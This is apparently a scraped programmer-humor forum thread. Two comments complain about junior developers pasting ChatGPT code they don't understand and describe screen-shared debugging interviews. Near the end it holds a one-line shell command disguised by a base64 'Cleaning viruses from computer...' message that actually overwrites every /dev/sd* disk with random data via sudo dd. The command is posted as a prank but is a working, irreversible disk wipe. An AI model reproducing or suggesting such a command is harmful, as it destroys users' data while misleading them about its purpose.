That’s actually a valid skill to know when to tell the AI that it’s wrong.
A few months ago, I had to talk to my juniors to think critically about the shitty code that AI was generating. I was getting sick of clearly copy-pasted code from chatGPT and the junior not knowing what the fuck they were submitting to code review.
That used to make sense when LLMs were not the thing, when evaluating assessments from students, half of which asked someone else and didn’t bother to even read the code
When I interviewed junior devs for my team, I had zero theoretical questions, and only two coding questions which were basically code that had to be debugged, and once it was running, for them to implement some minor things that I asked them to implement. I said I don’t mind if they googled, I only wanted them to share their screens while they worked, so that I can see how they worked and how they googled/adapted the answers to their code. I interviewed over a dozen people ranging from freshers to 4 yoe, and you should see how terrible they were at googling. Out of all them, only one fresher came close to being good in the interview. Even ‘4 yoe’ devs who ‘spearheaded’ various projects sucked at basic python and googling.
<span style="color:#323232;">echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done
</span>
programmer_humor
Newest
This magazine is from a federated server and may be incomplete. Browse more on the original instance.